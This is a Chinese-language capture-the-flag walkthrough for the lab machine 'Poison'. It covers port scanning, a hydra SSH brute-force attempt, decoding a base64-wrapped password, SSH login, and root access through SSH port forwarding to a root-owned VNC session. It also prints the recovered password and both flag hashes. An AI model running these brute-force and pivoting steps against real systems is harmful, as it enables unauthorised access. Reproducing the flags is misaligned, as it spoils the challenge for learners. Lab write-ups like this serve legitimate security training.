Poison

关键词：任意文件读取，base64，端口转发，vnc vncviewer

Enumeration

nmap 扫描端口

nmap -sS 10.10.10.84 -T4 -p- 
​

得到只开放了22端口和80端口

尝试用hydra爆破

sudo hydra -l root -P wordlist.TXT ssh://10.10.10.84

Foothold

user权限

base64 -d base|base64 -d |base64 -d |base64 -d |base64 -d |base64 -d |base64 -d |base64 -d |base64 -d |base64 -d |base64 -d |base64 -d |base64 -d |base64 -d

#根据提示进行13次解密
base64 -d base|base64 -d |base64 -d |base64 -d |base64 -d |base64 -d |base64 -d |base64 -d |base64 -d |base64 -d |base64 -d |base64 -d |base64 -d
​
​
#得到 Charix!2#4%6&8(0 
#直接cat user.txt得到
eaacdfb2d141b72a589233063604209c

ssh 登录，得到用户权限

root权限

发现它把sudo命令ban掉了，sudoer文件也不存在

sudo 
​
cat /etc/sudoers

查看进程，发现有个以root权限进行的进程xvnc 和 xterm

查了一下，好像xterm 没有提权的路径，于是把目光放在xvnc上

vnc参考：https://baike.baidu.com/item/VNC/2906305?fr=aladdin

因此我们用vncviewver

netstat -an发现打开了5801 和 5901的端口，同时发现远程主机没有vncviewver的命令，所以我们使用端口转发。

参考 ssh端口转发：https://blog.csdn.net/misea/article/details/121794393

看见/home/charix 目录下有secret.zip文件，有密码，但是服务器那边好像解压不了，用scp下载下来

（注意保存目录的权限）

scp charix@10.10.10.84:/home/charix/secret.zip / 

可能是vncviewer的密码，

进行ssh本地转发

ssh -L 1234:127.0.0.1:5801 charix@10.10.10.84 #最后失败了
​
ssh -L 1234:127.0.0.1:5901 charix@10.10.10.84
​
#打开另一个终端
vncviewer 127.0.0.1:1234 -passwd secret

最后得到flag为716d04b188419cf2bb99d891272361f5